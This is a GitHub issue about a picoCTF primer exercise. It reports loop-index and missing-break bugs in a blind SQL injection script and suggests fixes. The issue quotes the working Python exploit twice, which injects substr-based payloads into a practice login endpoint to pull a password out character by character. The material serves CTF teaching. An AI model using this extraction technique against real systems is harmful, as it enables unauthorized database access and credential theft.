Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Fix Bug in the Sql Injection Code #57

Open
JollyFrolics opened this issue Sep 30, 2024 · 0 comments
Open

Fix Bug in the Sql Injection Code #57

JollyFrolics opened this issue Sep 30, 2024 · 0 comments

Comments

@JollyFrolics
Copy link

The blind SQL injection code

import requests
from string import printable

accum = ""
for i in range(40):
  for letter in printable:
    accum += letter

    r = requests.post("https://primer.picoctf.org/vuln/web/blindsql.php?&username=WeDontCare&password=' or '"
    + letter +"'=( select substr(binary password,"+str(i)+",1) from pico_blind_injection where id=1 ) and ''= '")

    if 'NOTHING FOUND...' in r.text:
      accum = accum[:-1]
      print("nope")
    else:
      print(f"We found the character: {letter}")

print(accum)

loop using range(40). This iterator starts at 0 instead of 1. This causes one extra loop in the problem.

Also in the else block of the if 'NOTHING FOUND...' in r.text: their is no break causing the substr to be called on the value
of the position we already know.

To illustrate this:
If we ran this code

from string import printable

import requests

accum = ""
for i in range(40):
    for letter in printable:
        accum += letter

        r = requests.post(
            "https://primer.picoctf.org/vuln/web/blindsql.php?&username=WeDontCare&password=' or '"
            + letter
            + "'=( select substr(binary password,"
            + str(i)
            + ",1) from pico_blind_injection where id=1 ) and ''= '"
        )

        if "NOTHING FOUND..." in r.text:
            accum = accum[:-1]
            print(f"nope: {letter} i:{i}")
        else:
            print(f"We found the character: {letter}")

print(accum)

Which just adds letters variable to the nope we are printing. The result is:
scrrenshot showing how i being 0 causes the first loop to be worthless

The next problem is that after letter is found the value of substr isn't updated
Showing how value isn't updated

The solve would be to range(1, 40) and to add a break after the else block ends.

@JollyFrolics JollyFrolics changed the title Bug in the Sql Injection Code Fix Bug in the Sql Injection Code Oct 2, 2024
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant